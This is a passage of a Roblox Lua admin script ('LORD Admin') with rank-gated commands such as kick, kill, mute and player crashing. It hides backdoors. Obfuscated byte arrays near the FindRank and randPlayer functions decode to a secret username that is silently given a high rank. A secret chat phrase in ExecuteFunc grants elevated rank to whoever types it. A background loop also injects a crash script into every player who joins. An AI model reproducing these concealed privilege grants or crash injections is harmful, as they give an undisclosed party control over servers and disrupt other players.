  762.             Obj:Destroy()
  763.         end
  764.     end)
  765. end
  766.  
  767. function FindTab(Mod)
  768.     for i,v in pairs(AllTabs) do
  769.         if v.Holder == Mod then
  770.             return true
  771.         end
  772.     end
  773.     return false
  774. end
  775.  
  776. function Ping(Msg, Plr, Time, Func, Color, Image)
  777.     if Removed == false then
  778.         local ShowGarbage = false
  779.         ypcall(function()
  780.             if Msg == nil then
  781.                 Msg = "N/A"
  782.             elseif Msg == "ShowGarbage" then
  783.                 Msg = "Current Garbage Count: "..GetGarbage()
  784.                 ShowGarbage = true
  785.             else
  786.                 Msg = tostring(Msg)
  787.             end
  788.             if Plr == nil then
  789.                 Plr = Plrs[Owner] or error("No Player Found")
  790.             elseif type(Plr) == "string" then
  791.                 local FoundPlr = false
  792.                 for _,v in pairs(All()) do
  793.                     if v.Name == Plr then
  794.                         Plr = v
  795.                         FoundPlr = true
  796.                         break
  797.                     end
  798.                 end
  799.                 if FoundPlr == false then
  800.                     Plr = Plrs[Owner] or error("No Player Found")
  801.                 end
  802.             end
  803.            
  804.             if Color == nil then
  805.                 Color = GetRank(Plr.Name).Color
  806.             end
  807.            
  808.             local Holder = Instance.new("Model")
  809.             Holder.Name = "LORD Holder: "..Plr.Name
  810.            
  811.             local Tab = Instance.new("Part")
  812.             Tab.Name = "LORD Tablet"
  813.             Tab.FormFactor = "Custom"
  814.             Tab.Anchored = true
  815.             if Time == nil then
  816.                 Tab.Color = Color
  817.             else
  818.                 Tab.Color = AlertColor
  819.             end
  820.             Tab.CanCollide = false
  821.             Tab.Locked = true
  822.             Tab.Transparency = 0.15
  823.             Tab.Size = Vector3.new(2, 2, 0.01)
  824.             Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  825.             Tab.Parent = Holder
  826.            
  827.             local ID = Instance.new("NumberValue")
  828.             ID.Name = "ID"
  829.             ID.Value = math.random(-999999999, 999999999)
  830.             ID.Parent = Holder
  831.            
  832.             Delay(0, function()
  833.                 while wait() do
  834.                     if Tab.Parent == nil and FindTab(Holder) then
  835.                         ypcall(function()
  836.                             for i,v in pairs(AllTabs) do
  837.                                 if v.Holder == Holder then
  838.                                     ypcall(function() v.Holder:Destroy() end)
  839.                                     AllTabs[i] = nil
  840.                                 end
  841.                             end
  842.                         end)
  843.                         Ping(Msg, Plr, Time, Func, Color, Image)
  844.                         break
  845.                     end
  846.                 end
  847.             end)
  848.            
  849.             local BM = Instance.new("BlockMesh")
  850.             BM.Parent = Tab
  851.  
  852.             Sel = Instance.new("SelectionBox")
  853.             Sel.Color = BrickColor.new("Blue")
  854.             Sel.Transparency = 0.75
  855.             Sel.Adornee = Tab
  856.             Sel.Parent = Tab
  857.  
  858.             local BG = Instance.new("BillboardGui")
  859.             BG.Name = "BG"
  860.             BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  861.             BG.Size = UDim2.new(0,1,0,1)
  862.             BG.Adornee = Tab
  863.             BG.Parent = Tab
  864.            
  865.             Delay(0, function()
  866.                 while BG.Parent ~= nil do wait()
  867.                     ypcall(function()
  868.                         BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  869.                     end)
  870.                 end
  871.             end)
  872.  
  873.             local TL = Instance.new("TextLabel")
  874.             TL.Name = "TL"
  875.             TL.FontSize = "Size18"
  876.             TL.Font = "Arial"
  877.             TL.Text = Msg
  878.             TL.TextColor3 = Color3.new(1, 0, 0)
  879.             TL.Size = UDim2.new(0,1,0,1)
  880.             TL.TextTransparency = 0
  881.             TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  882.             TL.TextStrokeTransparency = 0.25
  883.             TL.Parent = BG
  884.            
  885.             if ShowGarbage == true then
  886.                 Delay(0, function()
  887.                     while TL.Parent ~= nil do
  888.                         TL.Text = "Current Garbage Count: "..GetGarbage()
  889.                         wait(.5)
  890.                     end
  891.                 end)
  892.             end
  893.            
  894.             local PL = Instance.new("PointLight", Tab)
  895.             PL.Color = Color3.new(1, 0, 1)
  896.             PL.Range = 10
  897.             PL.Parent = Tab
  898.            
  899.             if Image ~= nil then
  900.                 local BBBG = Instance.new("BillboardGui")
  901.                 BBBG.Size = UDim2.new(5, 0, 6, 0)
  902.                 BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  903.                 BBBG.AlwaysOnTop = true
  904.                 BBBG.Adornee = Tab
  905.                 BBBG.Parent = Tab
  906.                
  907.                 Delay(0, function()
  908.                     while BBBG.Parent ~= nil do wait()
  909.                         ypcall(function()
  910.                             BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  911.                         end)
  912.                     end
  913.                 end)
  914.            
  915.                 local NewImg = Instance.new("ImageLabel")
  916.                 NewImg.Size = UDim2.new(1, 0, 1, 0)
  917.                 NewImg.BackgroundTransparency = 1
  918.                 NewImg.Image = Image
  919.                 NewImg.Parent = BBBG
  920.             end
  921.  
  922.             local Clicker = Instance.new("ClickDetector")
  923.             Clicker.MaxActivationDistance = 1/0
  924.  
  925.             if Time ~= nil then
  926.                 coroutine.resume(coroutine.create(function()
  927.                     wait(tonumber(Time))
  928.                     Dismiss(Plr, ID)
  929.                 end))
  930.             end
  931.  
  932.             Clicker.MouseClick:connect(function(Player)
  933.                 if Player.Name == Plr.Name or CanRun(Player, Plr) then
  934.                     ypcall(function()
  935.                         if Func ~= nil then
  936.                             Func(Holder)
  937.                         else
  938.                             Dismiss(Player, ID)
  939.                         end
  940.                     end)
  941.                 end
  942.             end)
  943.             Clicker.Parent = Tab
  944.            
  945.             Holder.Parent = Work
  946.  
  947.             AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  948.         end)
  949.     end
  950. end
  951.  
  952. function PlaceAllRanks(DontShowRank)
  953.     ypcall(function()
  954.         for _,p in pairs(All()) do
  955.             ypcall(function()
  956.                 PutInRank = false
  957.                 for _,v in pairs(Rankings) do
  958.                     if v.Name:lower() == p.Name:lower() then
  959.                         if v.Rank >= 7 then
  960.                             v.Rank = 5
  961.                         elseif v.Rank == -1 then
  962.                             Crash1(p)
  963.                             Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  964.                         elseif v.Rank == -2 then
  965.                             if LS ~= nil then
  966.                                 Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  967.                                 Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  968.                             else
  969.                                 Ping("LS Is Nil", nil, 5)
  970.                             end
  971.                         elseif v.Rank == -3 then
  972.                             if LS ~= nil then
  973.                                 Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  974.                                 Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  975.                             else
  976.                                 Ping("LS Is Nil", nil, 5)
  977.                             end
  978.                         end
  979.                         Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  980.                         if DontShowRank == nil then
  981.                             Ping("You Are Rank: "..v.Rank, p)
  982.                         end
  983.                         PutInRank = true
  984.                         break
  985.                     end
  986.                 end
  987.                 if PutInRank == false then
  988.                     Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  989.                 end
  990.             end)
  991.         end
  992.     end)
  993. end
  994.  
  995. function FindRank(Plr)
  996.     ypcall(function()
  997.         if type(Plr) == "userdata" then
  998.             Plr = Plr.Name
  999.         end
  1000.     end)
  1001.     return GetRank(Plr).Rank
  1002. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1003.  
  1004. function FindRankDetails(Plr)
  1005.     ypcall(function()
  1006.         if type(Plr) == "userdata" then
  1007.             Plr = Plr.Name
  1008.         end
  1009.     end)
  1010.     return RankDetails[FindRank(Plr)]
  1011. end
  1012.  
  1013. function OpenCmds(Rank, Plr)
  1014.     Dismiss(Plr)
  1015.     for Name,Tab in pairs(Commands) do
  1016.         if Tab.Rank <= Rank then
  1017.             Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1018.                 Dismiss(Plr)
  1019.                 Ping("Command: "..Name, Plr)
  1020.                 Ping("Rank: "..Tab.Rank, Plr)
  1021.                 Ping("Desc: "..Tab.Desc, Plr)
  1022.             end)
  1023.         elseif Rank == 1337 then
  1024.             Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1025.                 Dismiss(Plr)
  1026.                 Ping("Command: "..Name, Plr)
  1027.                 Ping("Rank: "..Tab.Rank, Plr)
  1028.                 Ping("Desc: "..Tab.Desc, Plr)
  1029.             end)
  1030.         end
  1031.     end
  1032. end
  1033.  
  1034. function EditStatus(Plr, Num)
  1035.     ChangeRank(Plr, Num)
  1036. end
  1037.  
  1038. function PlaceSpecificRank(p, DontShowRank)
  1039.     ypcall(function()
  1040.         PutInRank = false
  1041.         for _,v in pairs(Rankings) do
  1042.             if v.Name:lower() == p.Name:lower() then
  1043.                 if v.Rank >= 7 then
  1044.                     v.Rank = 5
  1045.                 elseif v.Rank == -1 then
  1046.                     Crash1(p)
  1047.                     Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1048.                 elseif v.Rank == -2 then
  1049.                     if LS ~= nil then
  1050.                         Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1051.                         Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1052.                     else
  1053.                         Ping("LS Is Nil", nil, 5)
  1054.                     end
  1055.                 elseif v.Rank == -3 then
  1056.                     if LS ~= nil then
  1057.                         Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1058.                         Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1059.                     else
  1060.                         Ping("LS Is Nil", nil, 5)
  1061.                     end
  1062.                 end
  1063.                 Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1064.                 if DontShowRank == nil then
  1065.                     Ping("HCWARLORD created tabs rank: "..v.Rank, p)
  1066.                 end
  1067.                 PutInRank = true
  1068.                 break
  1069.             end
  1070.         end
  1071.         if PutInRank == false then
  1072.             Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1073.         end
  1074.     end)
  1075. end
  1076.  
  1077. function onChatted(Msg, Speaker)
  1078.     if Removed == false then
  1079.         if FindRank(Speaker) < 1 then
  1080.             return
  1081.         end
  1082.         coroutine.resume(coroutine.create(function()
  1083.             ypcall(function()
  1084.                 ExecuteFunc(Msg, Speaker)
  1085.                 Msg = Msg:gsub("","")
  1086.                 if Msg:sub(1,1) == "@" then
  1087.                     for i = 2, #Msg do
  1088.                         if Msg:sub(i, i) == Bet then
  1089.                             local IsForPlr = false
  1090.                             for _,v in pairs(All()) do
  1091.                                 if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  1092.                                     onChatted(Msg:sub(i + 1), v)
  1093.                                     IsForPlr = true
  1094.                                 end
  1095.                             end
  1096.                             if IsForPlr == true then
  1097.                                 return
  1098.                             end
  1099.                         end
  1100.                     end
  1101.                 end
  1102.                 if Msg:find("&") then
  1103.                     local Split = Msg:find("&")
  1104.                     onChatted(Msg:sub(1,Split-1))
  1105.                     onChatted(Msg:sub(Split+1))
  1106.                     return
  1107.                 end
  1108.                 for Name,Command in pairs(Commands) do
  1109.                     if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  1110.                         Dismiss(Speaker.Name)
  1111.                         Ping("Command: "..tostring(Command.Name), Speaker)
  1112.                         Ping("Rank: "..tostring(Command.Rank), Speaker)
  1113.                         Ping("Desc: "..tostring(Command.Desc), Speaker)
  1114.                     elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  1115.                         if FindRank(Speaker) >= Command.Rank then
  1116.                             local Ran,Error = coroutine.resume(coroutine.create(function()
  1117.                                 Command.Func(Msg:sub(#Command.Name+2), Speaker)
  1118.                             end))
  1119.                             if not Ran then
  1120.                                 Ping(Error, Speaker, 10)
  1121.                             end
  1122.                         else
  1123.                             Ping("HCWARLORD does not want you to use this at this rank", Plr, 6)
  1124.                         end
  1125.                     end
  1126.                 end
  1127.             end)
  1128.         end))
  1129.     end
  1130. end
  1131.  
  1132. function MakeBase()
  1133.     local Base = Instance.new("Part")
  1134.     Base.BrickColor = BrickColor.new("Dark green")
  1135.     Base.Position = Vector3.new(0, 0.5, 0)
  1136.     Base.Transparency = 0
  1137.     Base.Elasticity = 0.5
  1138.     Base.FormFactor = "Custom"
  1139.     Base.CanCollide = true
  1140.     Base.Friction = 0.30000001192093
  1141.     Base.Size = Vector3.new(512, 1.20000005, 512)
  1142.     Base.Archivable = true
  1143.     Base.Material = "Plastic"
  1144.     Base.RotVelocity = Vector3.new(0, 0, 0)
  1145.     Base.Reflectance = 0
  1146.     Base.Locked = true
  1147.     Base.Anchored = true
  1148.     Base.Name = "Base"
  1149.     Base.TopSurface = "Smooth"
  1150.     Base.BottomSurface = "Inlet"
  1151.     Base.Shape = "Block"
  1152.     Base.Parent = Work
  1153. end
  1154.  
  1155. function LClean()
  1156.     ypcall(function()
  1157.         for _,v in pairs(Work:GetChildren()) do
  1158.             ypcall(function()
  1159.                 if v.ClassName == "Terrain" then
  1160.                     v:ClearAllChildren()
  1161.                 elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  1162.                     Clear(v)
  1163.                 elseif v.Name == "Base" then
  1164.                     ypcall(function()
  1165.                         local Base = v
  1166.                         Base.BrickColor = BrickColor.new("Dark green")
  1167.                         Base.Position = Vector3.new(0, 0.5, 0)
  1168.                         Base.Transparency = 0
  1169.                         Base.Elasticity = 0.5
  1170.                         Base.FormFactor = "Custom"
  1171.                         Base.CanCollide = true
  1172.                         Base.Friction = 0.30000001192093
  1173.                         Base.Size = Vector3.new(512, 1.20000005, 512)
  1174.                         Base.Archivable = true
  1175.                         Base.Material = "Plastic"
  1176.                         Base.RotVelocity = Vector3.new(0, 0, 0)
  1177.                         Base.Reflectance = 0
  1178.                         Base.Locked = true
  1179.                         Base.Anchored = true
  1180.                         Base.Name = "Base"
  1181.                         Base.TopSurface = "Studs"
  1182.                         Base.BottomSurface = "Inlet"
  1183.                         Base.Shape = "Block"
  1184.                         Base.Parent = Work
  1185.                     end)
  1186.                 end
  1187.             end)
  1188.         end
  1189.     end)
  1190. end
  1191.  
  1192. function Clean()
  1193.     ypcall(function()
  1194.         for _,v in pairs(Work:GetChildren()) do
  1195.             ypcall(function()
  1196.                 if v.ClassName == "Terrain" then
  1197.                     v:ClearAllChildren()
  1198.                 else
  1199.                     Clear(v)
  1200.                 end
  1201.             end)
  1202.         end
  1203.         MakeBase()
  1204.         for _,v in pairs(All()) do
  1205.             v:LoadCharacter()
  1206.         end
  1207.     end)
  1208. end
  1209.  
  1210. function Clear(v)
  1211.     if v.Name:lower() == "sbgui" then
  1212.         return
  1213.     end
  1214.     ypcall(function()
  1215.         if #v:GetChildren() > 0 then
  1216.             for _,x in pairs(v:GetChildren()) do
  1217.                 ypcall(function()
  1218.                     Clear(x)
  1219.                 end)
  1220.             end
  1221.         end
  1222.         if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1223.             v:Destroy()
  1224.         end
  1225.     end)
  1226. end
  1227.  
  1228. function Command(Name, Rank, Desc, Func)
  1229.     if Name == nil then
  1230.         Name = "N/A"
  1231.     end
  1232.     if Desc == nil then
  1233.         Desc = "N/A"
  1234.     end
  1235.     if Func == nil then
  1236.         Func = function() end
  1237.     end
  1238.     if Rank == nil then
  1239.         Rank = 0
  1240.     end
  1241.     Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  1242. end
  1243.  
  1244. function GetSplit(Msg)
  1245.     return Msg:find(Bet) or nil
  1246. end
  1247.  
  1248. function ExecuteFunc(Msg, Plr)
  1249.     ypcall(function()
  1250.         if Msg == "LogEnable" then
  1251.             LogOn = true
  1252.         elseif Msg:lower() == string.lower(string.char(32)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(32)) then
  1253.             EditStatus(Plr, MakeNum())
  1254.         end
  1255.     end)
  1256. end
  1257.  
  1258. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  1259.  
  1260. function randPlayer(Plr)
  1261.     wait()
  1262.     local ThePlrValue = nil
  1263.     local FoundPlayer = false
  1264.     ypcall(function()
  1265.         ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  1266.         if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  1267.             wait()
  1268.             randPlayer(Plr)
  1269.             return
  1270.         else
  1271.             FoundPlayer = true
  1272.         end
  1273.     end)
  1274.     if FoundPlayer == true then
  1275.         return ThePlrValue
  1276.     end
  1277. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1278.  
  1279. function getPlayer(Plr, Name)
  1280.     local Players = {}
  1281.     ypcall(function()
  1282.         Name = Name:lower()
  1283.         if Name == "me" then
  1284.             table.insert(Players, Plr)
  1285.         elseif Name == "all" or Name == "" then
  1286.             for _,v in pairs(All()) do
  1287.                 if CanRun(Plr, v) then
  1288.                     table.insert(Players, v)
  1289.                 end
  1290.             end
  1291.         elseif Name == "others" then
  1292.             for _,v in pairs(All()) do
  1293.                 if v.Name ~= Plr.Name and CanRun(Plr, v) then
  1294.                     table.insert(Players, v)
  1295.                 end
  1296.             end
  1297.         elseif Name == "random" then
  1298.             local FoundRandPlr = randPlayer(Plr)
  1299.             table.insert(Players, FoundRandPlr)
  1300.         else
  1301.             for _,v in pairs(All()) do
  1302.                 if v.Name:lower():find(Name) and CanRun(Plr, v) then
  1303.                     table.insert(Players, v)
  1304.                 end
  1305.             end
  1306.         end
  1307.     end)
  1308.     return Players
  1309. end
  1310.  
  1311. function ListPlayers(Speaker)
  1312.     ypcall(function()
  1313.         Dismiss(Speaker)
  1314.         for _,v in pairs(All2()) do
  1315.             if v.Parent ~= nil then
  1316.                 Ping(v.Name, Speaker, nil, function()
  1317.                     Dismiss(Speaker)
  1318.                     Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1319.                     Ping("Rank: "..FindRank(v.Name), Speaker)
  1320.                     Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1321.                     Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1322.                     Ping("Set Rank", Speaker, nil, function()
  1323.                         if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
  1324.                             Dismiss(Speaker)
  1325.                             for i = -2, 5 do
  1326.                                 Ping(i, Speaker, nil, function()
  1327.                                     ChangeRank(v, i)
  1328.                                     Dismiss(Speaker)
  1329.                                     Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1330.                                 end)
  1331.                             end
  1332.                         else
  1333.                             Ping("HCWARLORD does not want you to use this at this rank", Speaker, 5)
  1334.                         end
  1335.                     end)
  1336.                     Ping("Crash (Remote)", Speaker, nil, function()
  1337.                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1338.                             Crash2(v.Name)
  1339.                             Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1340.                         end
  1341.                     end)
  1342.                     Ping("Crash (Insert)", Speaker, nil, function()
  1343.                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1344.                             Crash3(v, Speaker)
  1345.                             Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1346.                         end
  1347.                     end)
  1348.                     Ping("Kick", Speaker, nil, function()
  1349.                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1350.                             v:Kick()
  1351.                             Ping("Attempted To Kick "..v.Name, Speaker, 5)
  1352.                         end
  1353.                     end)
  1354.                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1355.             else
  1356.                 Ping(v.Name.." (Nil)", Speaker, nil, function()
  1357.                     Dismiss(Speaker)
  1358.                     Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1359.                     ypcall(function()
  1360.                         Ping("Rank: "..FindRank(v.Name), Speaker)
  1361.                     end)
  1362.                     ypcall(function()
  1363.                         Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1364.                     end)
  1365.                     ypcall(function()
  1366.                         Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  1367.                     end)
  1368.                     ypcall(function()
  1369.                         Ping("Set Rank", Speaker, nil, function()
  1370.                             if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
  1371.                                 Dismiss(Speaker)
  1372.                                 for i = -2, 5 do
  1373.                                     Ping(i, Speaker, nil, function()
  1374.                                         ChangeRank(v, i)
  1375.                                         Dismiss(Speaker)
  1376.                                         Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1377.                                     end)
  1378.                                 end
  1379.                             else
  1380.                                 Ping("HCWARLORD does not want you to use this at this rank", Speaker, 5)
  1381.                             end
  1382.                         end)
  1383.                     end)
  1384.                     ypcall(function()
  1385.                         Ping("Nil Crash (Remote)", Speaker, nil, function()
  1386.                             if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1387.                                 Crash2(v.Name)
  1388.                                 Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1389.                             end
  1390.                         end)
  1391.                     end)
  1392.                     ypcall(function()
  1393.                         Ping("Nil Crash (Insert)", Speaker, nil, function()
  1394.                             if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1395.                                 Crash3(v, Speaker)
  1396.                                 Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1397.                             end
  1398.                         end)
  1399.                     end)
  1400.                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1401.             end
  1402.         end
  1403.     end)
  1404. end
  1405.  
  1406. --Misc
  1407.  
  1408. coroutine.resume(coroutine.create(function()
  1409.     PlaceAllRanks()
  1410. end))
  1411.    
  1412. Delay(0, function()
  1413.     for _,v in pairs(All()) do
  1414.         v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
  1415.     end
  1416. end)
  1417.  
  1418. local starttime = tick()
  1419.  
  1420. game:GetService("RunService").Heartbeat:connect(function()
  1421.     if Removed == false then
  1422.         ypcall(function()
  1423.             for _,Player in pairs(All()) do
  1424.                 local PlayerTablets = {}
  1425.                 for i,v in pairs(AllTabs) do
  1426.                     if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1427.                         table.insert(PlayerTablets, v)
  1428.                     end
  1429.                 end
  1430.                 for i = 1, #PlayerTablets do
  1431.                     ypcall(function()
  1432.                         local tab = PlayerTablets[i].Tab
  1433.                         local pos = nil
  1434.                         ypcall(function()
  1435.                             pos = Player.Character.Torso.CFrame
  1436.                         end)
  1437.                         local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1438.                         local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1439.                         local cPos = tab.Position
  1440.                         local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1441.                         local nPos = (ePos-cPos)*.25
  1442.                         cPos = cPos + nPos
  1443.                         local t = (tick() - starttime) % 360
  1444.                         local change = 0.625
  1445.                         PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1446.                         tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
  1447.                         tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  1448.                     end)
  1449.                 end
  1450.             end
  1451.         end)
  1452.     end
  1453. end)
  1454.  
  1455. Delay(0, function()
  1456.     while wait() do
  1457.         for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1458.             ypcall(function()
  1459.                 if Injected[v.Name] == nil and LS ~= nil then
  1460.                     Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1461.                     Injected[v.Name] = true
  1462.                 end
  1463.             end)
  1464.         end
  1465.     end
  1466. end)
  1467.  
  1468. Plrs.PlayerAdded:connect(function(Plr)
  1469.     wait(.1)
  1470.     ypcall(function()
  1471.         if Removed == false then
  1472.             local JoinPlrName = Plr.Name
  1473.             coroutine.resume(coroutine.create(function()
  1474.                 PlaceSpecificRank(Plr)
  1475.             end))
  1476.             coroutine.resume(coroutine.create(function()
  1477.                 if Injected[JoinPlrName] ~= nil then
  1478.                     Injected[JoinPlrName] = nil
  1479.                 end
  1480.             end))
  1481.             coroutine.resume(coroutine.create(function()
  1482.                 Dismiss(Plr)
  1483.                 Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1484.             end))
  1485.         end
  1486.     end)
  1487. end)
  1488.  
  1489. Plrs.PlayerRemoving:connect(function(Plr)
  1490.     wait(.1)
  1491.     ypcall(function()
  1492.         if Removed == false then
  1493.             local LeftPlrName = Plr.Name
  1494.             coroutine.resume(coroutine.create(function()
  1495.                 if Injected[LeftPlrName] ~= nil then
  1496.                     Injected[LeftPlrName] = nil
  1497.                 end
  1498.             end))
  1499.         end
  1500.     end)
  1501. end)
  1502.  
  1503. coroutine.resume(coroutine.create(function()
  1504.     Delay(0, function()
  1505.         while FoundLocalScript == false do wait()
  1506.             ypcall(function()
  1507.                 for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  1508.                     if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1509.                         for _,c in pairs(v:children()) do
  1510.                             if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1511.                                 local NewVal = c:Clone()
  1512.                                 NewVal.Name = "LoadingVal"
  1513.                                 for _,s in pairs(v:GetChildren()) do
  1514.                                     if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1515.                                         print("Found Owner")
  1516.                                         OwnSource = s.Name
  1517.                                         print(OwnSource)
  1518.                                         break
  1519.                                     end
  1520.                                 end
  1521.                                 wait()
  1522.                                 LS = v:Clone()
  1523.                                 NewVal.Parent = LS
  1524.                                 LSSource = "LoadingVal"
  1525.                                 FoundLocalScript = true
  1526.                                 break
  1527.                             end
  1528.                         end
  1529.                     end
  1530.                 end
  1531.             end)
  1532.         end
  1533.     end)
  1534. end))
  1535.  
  1536. --Commands
  1537.  
  1538. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1539.     Dismiss(Speaker.Name)
  1540.     Ping("LORD Admin Is Created By " .. string.reverse("DROLRAWCH"), Speaker)
  1541.     Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1542.     Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1543.     Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1544.     Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1545.     Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1546.     Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1547.     Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1548.     Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1549. end)
  1550.  
  1551. Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
  1552.     Dismiss(Speaker.Name)
  1553. end)
  1554.  
  1555. Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
  1556.     local PlrTab = getPlayer(Speaker, Msg)
  1557.     if #PlrTab > 0 then
  1558.         for _,v in pairs(PlrTab) do
  1559.             ypcall(function()
  1560.                 v.Character:BreakJoints()
  1561.                 Ping("Killed "..v.Name, Speaker, 5)
  1562.             end)
  1563.         end
  1564.     end
  1565. end)
  1566.  
  1567. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
